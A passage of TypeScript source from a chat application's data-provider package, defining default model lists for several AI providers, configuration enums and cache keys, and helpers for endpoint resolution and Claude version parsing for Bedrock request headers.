'gpt-3.5-turbo-0125',\n 'gpt-4-turbo',\n 'gpt-4-turbo-2024-04-09',\n 'gpt-4-0125-preview',\n 'gpt-4-turbo-preview',\n 'gpt-4-1106-preview',\n 'gpt-3.5-turbo-1106',\n 'gpt-3.5-turbo-16k-0613',\n 'gpt-3.5-turbo-16k',\n 'gpt-4',\n 'gpt-4-0314',\n 'gpt-4-32k-0314',\n 'gpt-4-0613',\n 'gpt-3.5-turbo-0613',\n];\n\nconst sharedAnthropicModels = [\n 'claude-sonnet-4-6',\n 'claude-opus-4-6',\n 'claude-sonnet-4-5',\n 'claude-sonnet-4-5-20250929',\n 'claude-haiku-4-5',\n 'claude-haiku-4-5-20251001',\n 'claude-opus-4-1',\n 'claude-opus-4-1-20250805',\n 'claude-opus-4-5',\n 'claude-sonnet-4-20250514',\n 'claude-sonnet-4-0',\n 'claude-opus-4-20250514',\n 'claude-opus-4-0',\n 'claude-3-7-sonnet-latest',\n 'claude-3-7-sonnet-20250219',\n 'claude-3-5-haiku-20241022',\n 'claude-3-5-sonnet-20241022',\n 'claude-3-5-sonnet-20240620',\n 'claude-3-5-sonnet-latest',\n];\n\nexport const bedrockModels = [\n 'anthropic.claude-sonnet-4-6',\n 'anthropic.claude-opus-4-6-v1',\n 'anthropic.claude-sonnet-4-5-20250929-v1:0',\n 'anthropic.claude-haiku-4-5-20251001-v1:0',\n 'anthropic.claude-opus-4-1-20250805-v1:0',\n 'anthropic.claude-3-5-sonnet-20241022-v2:0',\n 'anthropic.claude-3-5-sonnet-20240620-v1:0',\n 'anthropic.claude-3-5-haiku-20241022-v1:0',\n // 'cohere.command-text-v14', // no conversation history\n // 'cohere.command-light-text-v14', // no conversation history\n 'cohere.command-r-v1:0',\n 'cohere.command-r-plus-v1:0',\n 'meta.llama2-13b-chat-v1',\n 'meta.llama2-70b-chat-v1',\n 'meta.llama3-8b-instruct-v1:0',\n 'meta.llama3-70b-instruct-v1:0',\n 'meta.llama3-1-8b-instruct-v1:0',\n 'meta.llama3-1-70b-instruct-v1:0',\n 'meta.llama3-1-405b-instruct-v1:0',\n 'mistral.mistral-7b-instruct-v0:2',\n 'mistral.mixtral-8x7b-instruct-v0:1',\n 'mistral.mistral-large-2402-v1:0',\n 'mistral.mistral-large-2407-v1:0',\n 'mistral.mistral-small-2402-v1:0',\n 'ai21.jamba-instruct-v1:0',\n // 'ai21.j2-mid-v1', // no streaming\n // 'ai21.j2-ultra-v1', no conversation history\n 'amazon.titan-text-lite-v1',\n 'amazon.titan-text-express-v1',\n 'amazon.titan-text-premier-v1:0',\n];\n\nexport const defaultModels = {\n [EModelEndpoint.azureAssistants]: sharedOpenAIModels,\n [EModelEndpoint.assistants]: [...sharedOpenAIModels, 'chatgpt-4o-latest'],\n [EModelEndpoint.agents]: sharedOpenAIModels, // TODO: Add agent models (agentsModels)\n [EModelEndpoint.google]: [\n // Gemini 3.1 Models\n 'gemini-3.1-pro-preview',\n 'gemini-3.1-pro-preview-customtools',\n 'gemini-3.1-flash-lite-preview',\n // Gemini 3 Models\n 'gemini-3-pro-preview',\n 'gemini-3-flash-preview',\n // Gemini 2.5 Models\n 'gemini-2.5-pro',\n 'gemini-2.5-flash',\n 'gemini-2.5-flash-lite',\n // Gemini 2.0 Models\n 'gemini-2.0-flash-001',\n 'gemini-2.0-flash-lite',\n ],\n [EModelEndpoint.anthropic]: sharedAnthropicModels,\n [EModelEndpoint.openAI]: [\n ...sharedOpenAIModels,\n 'chatgpt-4o-latest',\n 'gpt-4-vision-preview',\n 'gpt-3.5-turbo-instruct-0914',\n 'gpt-3.5-turbo-instruct',\n ],\n [EModelEndpoint.bedrock]: bedrockModels,\n};\n\nconst fitlerAssistantModels = (str: string) => {\n return /gpt-4|gpt-3\\\\.5/i.test(str) && !/vision|instruct/i.test(str);\n};\n\nconst openAIModels = defaultModels[EModelEndpoint.openAI];\n\nexport const initialModelsConfig: TModelsConfig = {\n initial: [],\n [EModelEndpoint.openAI]: openAIModels,\n [EModelEndpoint.assistants]: openAIModels.filter(fitlerAssistantModels),\n [EModelEndpoint.agents]: openAIModels, // TODO: Add agent models (agentsModels)\n [EModelEndpoint.azureOpenAI]: openAIModels,\n [EModelEndpoint.google]: defaultModels[EModelEndpoint.google],\n [EModelEndpoint.anthropic]: defaultModels[EModelEndpoint.anthropic],\n [EModelEndpoint.bedrock]: defaultModels[EModelEndpoint.bedrock],\n};\n\nexport const EndpointURLs = {\n [EModelEndpoint.assistants]: `${apiBaseUrl()}/api/assistants/v2/chat`,\n [EModelEndpoint.azureAssistants]: `${apiBaseUrl()}/api/assistants/v1/chat`,\n [EModelEndpoint.agents]: `${apiBaseUrl()}/api/${EModelEndpoint.agents}/chat`,\n} as const;\n\nexport const modularEndpoints = new Set<EModelEndpoint | string>([\n EModelEndpoint.anthropic,\n EModelEndpoint.google,\n EModelEndpoint.openAI,\n EModelEndpoint.azureOpenAI,\n EModelEndpoint.custom,\n EModelEndpoint.agents,\n EModelEndpoint.bedrock,\n]);\n\nexport const supportsBalanceCheck = {\n [EModelEndpoint.custom]: true,\n [EModelEndpoint.openAI]: true,\n [EModelEndpoint.anthropic]: true,\n [EModelEndpoint.assistants]: true,\n [EModelEndpoint.agents]: true,\n [EModelEndpoint.azureAssistants]: true,\n [EModelEndpoint.azureOpenAI]: true,\n [EModelEndpoint.bedrock]: true,\n [EModelEndpoint.google]: true,\n};\n\nexport const visionModels = [\n 'qwen-vl',\n 'grok-vision',\n 'grok-2-vision',\n 'grok-3',\n 'gpt-4o-mini',\n 'gpt-4o',\n 'gpt-4-turbo',\n 'gpt-4-vision',\n 'o4-mini',\n 'o3',\n 'o1',\n 'gpt-5',\n 'gpt-4.1',\n 'gpt-4.5',\n 'llava',\n 'llava-13b',\n 'gemini-pro-vision',\n 'claude-3',\n 'gemma',\n 'gemini-exp',\n 'gemini-1.5',\n 'gemini-2',\n 'gemini-2.5',\n 'gemini-3',\n 'moondream',\n 'llama3.2-vision',\n 'llama-3.2-11b-vision',\n 'llama-3-2-11b-vision',\n 'llama-3.2-90b-vision',\n 'llama-3-2-90b-vision',\n 'llama-4',\n 'claude-opus-4',\n 'claude-sonnet-4',\n 'claude-haiku-4',\n];\nexport enum VisionModes {\n generative = 'generative',\n agents = 'agents',\n}\n\nexport function validateVisionModel({\n model,\n additionalModels = [],\n availableModels,\n}: {\n model: string;\n additionalModels?: string[];\n availableModels?: string[];\n}) {\n if (!model) {\n return false;\n }\n\n if (model.includes('gpt-4-turbo-preview') || model.includes('o1-mini')) {\n return false;\n }\n\n if (availableModels && !availableModels.includes(model)) {\n return false;\n }\n\n return visionModels.concat(additionalModels).some((visionModel) => model.includes(visionModel));\n}\n\nexport const imageGenTools = new Set([\n 'dalle',\n 'dall-e',\n 'stable-diffusion',\n 'flux',\n 'gemini_image_gen',\n]);\n\n/**\n * Enum for collections using infinite queries\n */\nexport enum InfiniteCollections {\n /**\n * Collection for Prompt Groups\n */\n PROMPT_GROUPS = 'promptGroups',\n /**\n * Collection for Shared Links\n */\n SHARED_LINKS = 'sharedLinks',\n}\n\n/**\n * Enum for time intervals\n */\nexport enum Time {\n ONE_DAY = 86400000,\n TWELVE_HOURS = 43200000,\n ONE_HOUR = 3600000,\n THIRTY_MINUTES = 1800000,\n TEN_MINUTES = 600000,\n FIVE_MINUTES = 300000,\n THREE_MINUTES = 180000,\n TWO_MINUTES = 120000,\n ONE_MINUTE = 60000,\n THIRTY_SECONDS = 30000,\n}\n\n/**\n * Enum for cache keys.\n */\nexport enum CacheKeys {\n /**\n * Key for the config store namespace.\n */\n CONFIG_STORE = 'CONFIG_STORE',\n /**\n * Key for the tool cache namespace (plugins, MCP tools, tool definitions).\n */\n TOOL_CACHE = 'TOOL_CACHE',\n /**\n * Key for the roles cache.\n */\n ROLES = 'ROLES',\n /**\n * Key for the title generation cache.\n */\n GEN_TITLE = 'GEN_TITLE',\n /**\n * Key for the tools cache.\n */\n TOOLS = 'TOOLS',\n /**\n * Key for the model config cache.\n */\n MODELS_CONFIG = 'MODELS_CONFIG',\n /**\n * Key for the model queries cache.\n */\n MODEL_QUERIES = 'MODEL_QUERIES',\n /**\n * Key for the default startup config cache.\n */\n STARTUP_CONFIG = 'STARTUP_CONFIG',\n /**\n * Key for the default endpoint config cache.\n */\n ENDPOINT_CONFIG = 'ENDPOINT_CONFIG',\n /**\n * Key for accessing the model token config cache.\n */\n TOKEN_CONFIG = 'TOKEN_CONFIG',\n /**\n * Key for the app config namespace.\n */\n APP_CONFIG = 'APP_CONFIG',\n /**\n * Key for accessing Abort Keys\n */\n ABORT_KEYS = 'ABORT_KEYS',\n /**\n * Key for the bans cache.\n */\n BANS = 'BANS',\n /**\n * Key for the encoded domains cache.\n * Used by Azure OpenAI Assistants.\n */\n ENCODED_DOMAINS = 'ENCODED_DOMAINS',\n /**\n * Key for the cached audio run Ids.\n */\n AUDIO_RUNS = 'AUDIO_RUNS',\n /**\n * Key for in-progress messages.\n */\n MESSAGES = 'MESSAGES',\n /**\n * Key for in-progress flow states.\n */\n FLOWS = 'FLOWS',\n /**\n * Key for pending chat requests (concurrency check)\n */\n PENDING_REQ = 'PENDING_REQ',\n /**\n * Key for s3 check intervals per user\n */\n S3_EXPIRY_INTERVAL = 'S3_EXPIRY_INTERVAL',\n /**\n * key for open id exchanged tokens\n */\n OPENID_EXCHANGED_TOKENS = 'OPENID_EXCHANGED_TOKENS',\n /**\n * Key for OpenID session.\n */\n OPENID_SESSION = 'OPENID_SESSION',\n /**\n * Key for SAML session.\n */\n SAML_SESSION = 'SAML_SESSION',\n /**\n * Key for admin panel OAuth exchange codes (one-time-use, short TTL).\n */\n ADMIN_OAUTH_EXCHANGE = 'ADMIN_OAUTH_EXCHANGE',\n}\n\n/**\n * Enum for violation types, used to identify, log, and cache violations.\n */\nexport enum ViolationTypes {\n /**\n * File Upload Violations (exceeding limit).\n */\n FILE_UPLOAD_LIMIT = 'file_upload_limit',\n /**\n * Illegal Model Request (not available).\n */\n ILLEGAL_MODEL_REQUEST = 'illegal_model_request',\n /**\n * Token Limit Violation.\n */\n TOKEN_BALANCE = 'token_balance',\n /**\n * An issued ban.\n */\n BAN = 'ban',\n /**\n * TTS Request Limit Violation.\n */\n TTS_LIMIT = 'tts_limit',\n /**\n * STT Request Limit Violation.\n */\n STT_LIMIT = 'stt_limit',\n /**\n * Reset Password Limit Violation.\n */\n RESET_PASSWORD_LIMIT = 'reset_password_limit',\n /**\n * Verify Email Limit Violation.\n */\n VERIFY_EMAIL_LIMIT = 'verify_email_limit',\n /**\n * Verify Conversation Access violation.\n */\n CONVO_ACCESS = 'convo_access',\n /**\n * Tool Call Limit Violation.\n */\n TOOL_CALL_LIMIT = 'tool_call_limit',\n /**\n * General violation (catch-all).\n */\n GENERAL = 'general',\n /**\n * Login attempt violations.\n */\n LOGINS = 'logins',\n /**\n * Concurrent request violations.\n */\n CONCURRENT = 'concurrent',\n /**\n * Non-browser access violations.\n */\n NON_BROWSER = 'non_browser',\n /**\n * Message limit violations.\n */\n MESSAGE_LIMIT = 'message_limit',\n /**\n * Registration violations.\n */\n REGISTRATIONS = 'registrations',\n}\n\n/**\n * Enum for error message types that are not \"violations\" as above, used to identify client-facing errors.\n */\nexport enum ErrorTypes {\n /**\n * No User-provided Key.\n */\n NO_USER_KEY = 'no_user_key',\n /**\n * Expired User-provided Key.\n */\n EXPIRED_USER_KEY = 'expired_user_key',\n /**\n * Invalid User-provided Key.\n */\n INVALID_USER_KEY = 'invalid_user_key',\n /**\n * No Base URL Provided.\n */\n NO_BASE_URL = 'no_base_url',\n /**\n * Base URL targets a restricted or invalid address (SSRF protection).\n */\n INVALID_BASE_URL = 'invalid_base_url',\n /**\n * Moderation error\n */\n MODERATION = 'moderation',\n /**\n * Prompt exceeds max length\n */\n INPUT_LENGTH = 'INPUT_LENGTH',\n /**\n * Invalid request error, API rejected request\n */\n INVALID_REQUEST = 'invalid_request_error',\n /**\n * Invalid action request error, likely not on list of allowed domains\n */\n INVALID_ACTION = 'invalid_action_error',\n /**\n * Invalid request error, API rejected request\n */\n NO_SYSTEM_MESSAGES = 'no_system_messages',\n /**\n * Google provider returned an error\n */\n GOOGLE_ERROR = 'google_error',\n /**\n * Google provider does not allow custom tools with built-in tools\n */\n GOOGLE_TOOL_CONFLICT = 'google_tool_conflict',\n /**\n * Invalid Agent Provider (excluded by Admin)\n */\n INVALID_AGENT_PROVIDER = 'invalid_agent_provider',\n /**\n * Missing model selection\n */\n MISSING_MODEL = 'missing_model',\n /**\n * Models configuration not loaded\n */\n MODELS_NOT_LOADED = 'models_not_loaded',\n /**\n * Endpoint models not loaded\n */\n ENDPOINT_MODELS_NOT_LOADED = 'endpoint_models_not_loaded',\n /**\n * Generic Authentication failure\n */\n AUTH_FAILED = 'auth_failed',\n /**\n * Model refused to respond (content policy violation)\n */\n REFUSAL = 'refusal',\n /**\n * SSE stream 404 — job completed, expired, or was deleted before the subscriber connected\n */\n STREAM_EXPIRED = 'stream_expired',\n}\n\n/**\n * Enum for authentication keys.\n */\nexport enum AuthKeys {\n /**\n * Key for the Service Account to use Vertex AI.\n */\n GOOGLE_SERVICE_KEY = 'GOOGLE_SERVICE_KEY',\n /**\n * API key to use Google Generative AI.\n *\n * Note: this is not for Environment Variables, but to access encrypted object values.\n */\n GOOGLE_API_KEY = 'GOOGLE_API_KEY',\n /**\n * API key to use Anthropic.\n *\n * Note: this is not for Environment Variables, but to access encrypted object values.\n */\n ANTHROPIC_API_KEY = 'ANTHROPIC_API_KEY',\n}\n\n/**\n * Enum for Image Detail Cost.\n *\n * **Low Res Fixed Cost:** `85`\n *\n * **High Res Calculation:**\n *\n * Number of `512px` Tiles * `170` + `85` (Additional Cost)\n */\nexport enum ImageDetailCost {\n /**\n * Low resolution is a fixed value.\n */\n LOW = 85,\n /**\n * High resolution Cost Per Tile\n */\n HIGH = 170,\n /**\n * Additional Cost added to High Resolution Total Cost\n */\n // eslint-disable-next-line @typescript-eslint/no-duplicate-enum-values\n ADDITIONAL = 85,\n}\n\n/**\n * Tab values for Settings Dialog\n */\nexport enum SettingsTabValues {\n /**\n * Tab for General Settings\n */\n GENERAL = 'general',\n /**\n * Tab for Chat Settings\n */\n CHAT = 'chat',\n /**\n * Tab for Speech Settings\n */\n SPEECH = 'speech',\n /**\n * Tab for Beta Features\n */\n BETA = 'beta',\n /**\n * Tab for Data Controls\n */\n DATA = 'data',\n /**\n * Tab for Balance Settings\n */\n BALANCE = 'balance',\n /**\n * Tab for Account Settings\n */\n ACCOUNT = 'account',\n /**\n * Chat input commands\n */\n COMMANDS = 'commands',\n /**\n * Tab for Personalization Settings\n */\n PERSONALIZATION = 'personalization',\n}\n\nexport enum STTProviders {\n /**\n * Provider for OpenAI STT\n */\n OPENAI = 'openai',\n /**\n * Provider for Microsoft Azure STT\n */\n AZURE_OPENAI = 'azureOpenAI',\n}\n\nexport enum TTSProviders {\n /**\n * Provider for OpenAI TTS\n */\n OPENAI = 'openai',\n /**\n * Provider for Microsoft Azure OpenAI TTS\n */\n AZURE_OPENAI = 'azureOpenAI',\n /**\n * Provider for ElevenLabs TTS\n */\n ELEVENLABS = 'elevenlabs',\n /**\n * Provider for LocalAI TTS\n */\n LOCALAI = 'localai',\n}\n\n/** Enum for app-wide constants */\nexport enum Constants {\n /** Key for the app's version. */\n VERSION = 'v0.8.4',\n /** Key for the Custom Config's version (librechat.yaml). */\n CONFIG_VERSION = '1.3.6',\n /** Standard value for the first message's `parentMessageId` value, to indicate no parent exists. */\n NO_PARENT = '00000000-0000-0000-0000-000000000000',\n /** Standard value to use whatever the submission prelim. `responseMessageId` is */\n USE_PRELIM_RESPONSE_MESSAGE_ID = 'USE_PRELIM_RESPONSE_MESSAGE_ID',\n /** Standard value for the initial conversationId before a request is sent */\n NEW_CONVO = 'new',\n /** Standard value for the temporary conversationId after a request is sent and before the server responds */\n PENDING_CONVO = 'PENDING',\n /** Standard value for the conversationId used for search queries */\n SEARCH = 'search',\n /** Fixed, encoded domain length for Azure OpenAI Assistants Function name parsing. */\n ENCODED_DOMAIN_LENGTH = 10,\n /** Identifier for using current_model in multi-model requests. */\n CURRENT_MODEL = 'current_model',\n /** Common divider for text values */\n COMMON_DIVIDER = '__',\n /** Max length for commands */\n COMMANDS_MAX_LENGTH = 56,\n /** Default Stream Rate (ms) */\n DEFAULT_STREAM_RATE = 1,\n /** Saved Tag */\n SAVED_TAG = 'Saved',\n /** Max number of Conversation starters for Agents/Assistants */\n MAX_CONVO_STARTERS = 4,\n /** Delimiter for MCP tools */\n mcp_delimiter = '_mcp_',\n /** Prefix for MCP plugins */\n mcp_prefix = 'mcp_',\n /** Unique value to indicate all MCP servers. For backend use only. */\n mcp_all = 'sys__all__sys',\n /** Unique value to indicate clearing MCP servers from UI state. For frontend use only. */\n mcp_clear = 'sys__clear__sys',\n /** Key suffix for non-spec user default tool storage */\n spec_defaults_key = '__defaults__',\n /**\n * Unique value to indicate the MCP tool was added to an agent.\n * This helps inform the UI if the mcp server was previously added.\n * */\n mcp_server = 'sys__server__sys',\n /**\n * Handoff Tool Name Prefix\n */\n LC_TRANSFER_TO_ = 'lc_transfer_to_',\n /** Placeholder Agent ID for Ephemeral Agents */\n EPHEMERAL_AGENT_ID = 'ephemeral',\n /** Programmatic Tool Calling tool name */\n PROGRAMMATIC_TOOL_CALLING = 'run_tools_with_code',\n}\n\nexport enum LocalStorageKeys {\n /** Key for the admin defined App Title */\n APP_TITLE = 'appTitle',\n /** Key for the last conversation setup. */\n LAST_CONVO_SETUP = 'lastConversationSetup',\n /** Key for the last selected model. */\n LAST_MODEL = 'lastSelectedModel',\n /** Key for the last selected tools. */\n LAST_TOOLS = 'lastSelectedTools',\n /** Key for the last selected spec by name*/\n LAST_SPEC = 'lastSelectedSpec',\n /** Key for temporary files to delete */\n FILES_TO_DELETE = 'filesToDelete',\n /** Prefix key for the last selected assistant ID by index */\n ASST_ID_PREFIX = 'assistant_id__',\n /** Prefix key for the last selected agent ID by index */\n AGENT_ID_PREFIX = 'agent_id__',\n /** Key for the last selected fork setting */\n FORK_SETTING = 'forkSetting',\n /** Key for remembering the last selected option, instead of manually selecting */\n REMEMBER_FORK_OPTION = 'rememberDefaultFork',\n /** Key for remembering the split at target fork option modifier */\n FORK_SPLIT_AT_TARGET = 'splitAtTarget',\n /** Key for saving text drafts */\n TEXT_DRAFT = 'textDraft_',\n /** Key for saving file drafts */\n FILES_DRAFT = 'filesDraft_',\n /** Key for last Selected Prompt Category */\n LAST_PROMPT_CATEGORY = 'lastPromptCategory',\n /** Key for rendering User Messages as Markdown */\n ENABLE_USER_MSG_MARKDOWN = 'enableUserMsgMarkdown',\n /** Key for displaying analysis tool code input */\n SHOW_ANALYSIS_CODE = 'showAnalysisCode',\n /** Last selected MCP values per conversation ID */\n LAST_MCP_ = 'LAST_MCP_',\n /** Last checked toggle for Code Interpreter API per conversation ID */\n LAST_CODE_TOGGLE_ = 'LAST_CODE_TOGGLE_',\n /** Last checked toggle for Web Search per conversation ID */\n LAST_WEB_SEARCH_TOGGLE_ = 'LAST_WEB_SEARCH_TOGGLE_',\n /** Last checked toggle for File Search per conversation ID */\n LAST_FILE_SEARCH_TOGGLE_ = 'LAST_FILE_SEARCH_TOGGLE_',\n /** Last checked toggle for Artifacts per conversation ID */\n LAST_ARTIFACTS_TOGGLE_ = 'LAST_ARTIFACTS_TOGGLE_',\n /** Key for the last selected agent provider */\n LAST_AGENT_PROVIDER = 'lastAgentProvider',\n /** Key for the last selected agent model */\n LAST_AGENT_MODEL = 'lastAgentModel',\n /** Pin state for MCP tools per conversation ID */\n PIN_MCP_ = 'PIN_MCP_',\n /** Pin state for Web Search per conversation ID */\n PIN_WEB_SEARCH_ = 'PIN_WEB_SEARCH_',\n /** Pin state for Code Interpreter per conversation ID */\n PIN_CODE_INTERPRETER_ = 'PIN_CODE_INTERPRETER_',\n}\n\nexport enum ForkOptions {\n /** Key for direct path option */\n DIRECT_PATH = 'directPath',\n /** Key for including branches */\n INCLUDE_BRANCHES = 'includeBranches',\n /** Key for target level fork (default) */\n TARGET_LEVEL = 'targetLevel',\n /** Default option */\n DEFAULT = 'default',\n}\n\n/**\n * Enum for Cohere related constants\n */\nexport enum CohereConstants {\n /**\n * Cohere API Endpoint, for special handling\n */\n API_URL = 'https://api.cohere.ai/v1',\n /**\n * Role for \"USER\" messages\n */\n ROLE_USER = 'USER',\n /**\n * Role for \"SYSTEM\" messages\n */\n ROLE_SYSTEM = 'SYSTEM',\n /**\n * Role for \"CHATBOT\" messages\n */\n ROLE_CHATBOT = 'CHATBOT',\n /**\n * Title message as required by Cohere\n */\n TITLE_MESSAGE = 'TITLE:',\n}\n\nexport enum SystemCategories {\n ALL = 'sys__all__sys',\n MY_PROMPTS = 'sys__my__prompts__sys',\n NO_CATEGORY = 'sys__no__category__sys',\n SHARED_PROMPTS = 'sys__shared__prompts__sys',\n}\n\nexport const providerEndpointMap = {\n [EModelEndpoint.openAI]: EModelEndpoint.openAI,\n [EModelEndpoint.bedrock]: EModelEndpoint.bedrock,\n [EModelEndpoint.anthropic]: EModelEndpoint.anthropic,\n [EModelEndpoint.azureOpenAI]: EModelEndpoint.azureOpenAI,\n};\n\nexport const specialVariables = {\n current_date: true,\n current_user: true,\n iso_datetime: true,\n current_datetime: true,\n};\n\nexport type TSpecialVarLabel = `com_ui_special_var_${keyof typeof specialVariables}`;\n\n/**\n * Retrieves a specific field from the endpoints configuration for a given endpoint key.\n * Does not infer or default any endpoint type when absent.\n */\nexport function getEndpointField<\n K extends TConfig[keyof TConfig] extends never ? never : keyof TConfig,\n>(\n endpointsConfig: TEndpointsConfig | undefined | null,\n endpoint: EModelEndpoint | string | null | undefined,\n property: K,\n): TConfig[K] | undefined {\n if (!endpointsConfig || endpoint === null || endpoint === undefined) {\n return undefined;\n }\n const config = endpointsConfig[endpoint];\n if (!config) {\n return undefined;\n }\n return config[property];\n}\n\n/**\n * Resolves the effective endpoint type:\n * - Non-agents endpoint: config.type || endpoint\n * - Agents + provider: config[provider].type || provider\n * - Agents, no provider: EModelEndpoint.agents\n *\n * Returns `undefined` when endpoint is null/undefined.\n */\nexport function resolveEndpointType(\n endpointsConfig: TEndpointsConfig | undefined | null,\n endpoint: string | null | undefined,\n agentProvider?: string | null,\n): EModelEndpoint | string | undefined {\n if (!endpoint) {\n return undefined;\n }\n\n if (!isAgentsEndpoint(endpoint)) {\n return getEndpointField(endpointsConfig, endpoint, 'type') || endpoint;\n }\n\n if (agentProvider) {\n const providerType = getEndpointField(endpointsConfig, agentProvider, 'type');\n if (providerType) {\n return providerType;\n }\n return agentProvider;\n }\n\n return EModelEndpoint.agents;\n}\n\n/** Resolves the `defaultParamsEndpoint` for a given endpoint from its custom params config */\nexport function getDefaultParamsEndpoint(\n endpointsConfig: TEndpointsConfig | undefined | null,\n endpoint: string | null | undefined,\n): string | undefined {\n if (!endpointsConfig || !endpoint) {\n return undefined;\n }\n return endpointsConfig[endpoint]?.customParams?.defaultParamsEndpoint;\n}\n","export enum ContentTypes {\n TEXT = 'text',\n THINK = 'think',\n TEXT_DELTA = 'text_delta',\n TOOL_CALL = 'tool_call',\n IMAGE_FILE = 'image_file',\n IMAGE_URL = 'image_url',\n VIDEO_URL = 'video_url',\n INPUT_AUDIO = 'input_audio',\n AGENT_UPDATE = 'agent_update',\n SUMMARY = 'summary',\n ERROR = 'error',\n}\n\nexport enum StepTypes {\n TOOL_CALLS = 'tool_calls',\n MESSAGE_CREATION = 'message_creation',\n}\n\nexport enum ToolCallTypes {\n FUNCTION = 'function',\n RETRIEVAL = 'retrieval',\n FILE_SEARCH = 'file_search',\n CODE_INTERPRETER = 'code_interpreter',\n /* Agents Tool Call */\n TOOL_CALL = 'tool_call',\n}\n\n/** Event names dispatched by the agent graph and consumed by step handlers. */\nexport enum StepEvents {\n ON_RUN_STEP = 'on_run_step',\n ON_AGENT_UPDATE = 'on_agent_update',\n ON_MESSAGE_DELTA = 'on_message_delta',\n ON_REASONING_DELTA = 'on_reasoning_delta',\n ON_RUN_STEP_DELTA = 'on_run_step_delta',\n ON_RUN_STEP_COMPLETED = 'on_run_step_completed',\n ON_SUMMARIZE_START = 'on_summarize_start',\n ON_SUMMARIZE_DELTA = 'on_summarize_delta',\n ON_SUMMARIZE_COMPLETE = 'on_summarize_complete',\n}\n","import { z } from 'zod';\nimport * as s from './schemas';\n\nconst DEFAULT_ENABLED_MAX_TOKENS = 8192;\nconst DEFAULT_THINKING_BUDGET = 2000;\n\nconst bedrockReasoningConfigValues = new Set<string>(Object.values(s.BedrockReasoningConfig));\n\ntype ThinkingConfig = { type: 'enabled'; budget_tokens: number } | { type: 'adaptive' };\n\ntype AnthropicReasoning = {\n thinking?: ThinkingConfig | boolean;\n thinkingBudget?: number;\n};\n\ntype AnthropicInput = BedrockConverseInput & {\n additionalModelRequestFields: BedrockConverseInput['additionalModelRequestFields'] &\n AnthropicReasoning;\n};\n\n/** Extracts opus major/minor version from both naming formats */\nfunction parseOpusVersion(model: string): { major: number; minor: number } | null {\n const nameFirst = model.match(/claude-opus[-.]?(\\d+)(?:[-.](\\d+))?/);\n if (nameFirst) {\n return {\n major: parseInt(nameFirst[1], 10),\n minor: nameFirst[2] != null ? parseInt(nameFirst[2], 10) : 0,\n };\n }\n const numFirst = model.match(/claude-(\\d+)(?:[-.](\\d+))?-opus/);\n if (numFirst) {\n return {\n major: parseInt(numFirst[1], 10),\n minor: numFirst[2] != null ? parseInt(numFirst[2], 10) : 0,\n };\n }\n return null;\n}\n\n/** Extracts sonnet major/minor version from both naming formats.\n * Uses single-digit minor capture to avoid matching date suffixes (e.g., -20250514). */\nfunction parseSonnetVersion(model: string): { major: number; minor: number } | null {\n const nameFirst = model.match(/claude-sonnet[-.]?(\\d+)(?:[-.](\\d)(?!\\d))?/);\n if (nameFirst) {\n return {\n major: parseInt(nameFirst[1], 10),\n minor: nameFirst[2] != null ? parseInt(nameFirst[2], 10) : 0,\n };\n }\n const numFirst = model.match(/claude-(\\d+)(?:[-.](\\d)(?!\\d))?-sonnet/);\n if (numFirst) {\n return {\n major: parseInt(numFirst[1], 10),\n minor: numFirst[2] != null ? parseInt(numFirst[2], 10) : 0,\n };\n }\n return null;\n}\n\n/** Checks if a model supports adaptive thinking (Opus 4.6+, Sonnet 4.6+) */\nexport function supportsAdaptiveThinking(model: string): boolean {\n const opus = parseOpusVersion(model);\n if (opus && (opus.major > 4 || (opus.major === 4 && opus.minor >= 6))) {\n return true;\n }\n const sonnet = parseSonnetVersion(model);\n if (sonnet != null && (sonnet.major > 4 || (sonnet.major === 4 && sonnet.minor >= 6))) {\n return true;\n }\n return false;\n}\n\n/** Checks if a model qualifies for the context-1m beta header (Sonnet 4+, Opus 4.6+, Opus 5+) */\nexport function supportsContext1m(model: string): boolean {\n const sonnet = parseSonnetVersion(model);\n if (sonnet != null && sonnet.major >= 4) {\n return true;\n }\n const opus = parseOpusVersion(model);\n if (opus && (opus.major > 4 || (opus.major === 4 && opus.minor >= 6))) {\n return true;\n }\n return false;\n}\n\n/**\n * Gets the appropriate anthropic_beta headers for Bedrock Anthropic models.\n * Bedrock uses `anthropic_beta` (with underscore) in additionalModelRequestFields.\n *\n * @param model - The Bedrock model identifier (e.g., \"anthropic.claude-sonnet-4-20250514-v1:0\")\n * @returns Array of beta header strings, or empty array if not applicable\n */\nfunction getBedrockAnthropicBetaHeaders(model: string): string[] {\n const betaHeaders: string[] = [];\n\n const isClaudeThinkingModel =\n model.includes('anthropic.claude-3-7-sonnet') ||\n /anthropic\\.claude-(?:[4-9](?:\\.\\d+)?(?:-\\d+)?-(?:sonnet|opus|haiku)|(?:sonnet|opus|haiku)-[4-9])/.test(\n model,\n );\n\n const isSonnet4PlusModel =\n /anthropic\\.claude-(?:sonnet-[4-9]|[4-9](?:\\.\\d+)?(?:-\\d+)?-sonnet)/.test(model);\n\n if (isClaudeThinkingModel) {\n betaHeaders.push('output-128k-2025-02-19');\n }\n\n if (isSonnet4PlusModel || supportsAdaptiveThinking(model)) {\n betaHeaders.push('context-1m-2025-08-07');\n }\n\n return betaHeaders;\n}\n\nexport const bedrockInputSchema = s.tConversationSchema\n .pick({\n /* LibreChat params; optionType: 'conversation' */\n modelLabel: true,\n promptPrefix: true,\n resendFiles: true,\n iconURL: true,\n greeting: true,\n spec: true,\n maxOutputTokens: true,\n maxContextTokens: true,\n artifacts: true,\n /* Bedrock params; optionType: 'model' */\n region: true,\n system: true,\n model: true,\n maxTokens: true,\n temperature: true,\n topP: true,\n stop: true,\n thinking: true,\n thinkingBudget: true,\n effort: true,\n reasoning_effort: true,\n promptCache: true,\n /* Catch-all fields */\n topK: true,\n additionalModelRequestFields: true,\n })\n .transform((obj) => {\n if ((obj as AnthropicInput).additionalModelRequestFields?.thinking != null) {\n const _obj = obj as AnthropicInput;\n const thinking = _obj.additionalModelRequestFields.thinking;\n obj.thinking = !!thinking;\n obj.thinkingBudget =\n typeof thinking === 'object' && 'budget_tokens' in thinking\n ? thinking.budget_tokens\n : undefined;\n delete obj.additionalModelRequestFields;\n }\n return s.removeNullishValues(obj);\n })\n .catch(() => ({}));\n\nexport type BedrockConverseInput = z.infer<typeof bedrockInputSchema>;\n\nexport const bedrockInputParser = s.tConversationSchema\n .pick({\n /* LibreChat params; optionType: 'conversation' */\n modelLabel: true,\n promptPrefix: true,\n resendFiles: true,\n iconURL: true,\n greeting: true,\n spec: true,\n artifacts: true,\n maxOutputTokens: true,\n maxContextTokens: true,\n /* Bedrock params; optionType: 'model' */\n region: true,\n model: true,\n maxTokens: true,\n temperature: true,\n topP: true,\n stop: true,\n thinking: true,\n thinkingBudget: 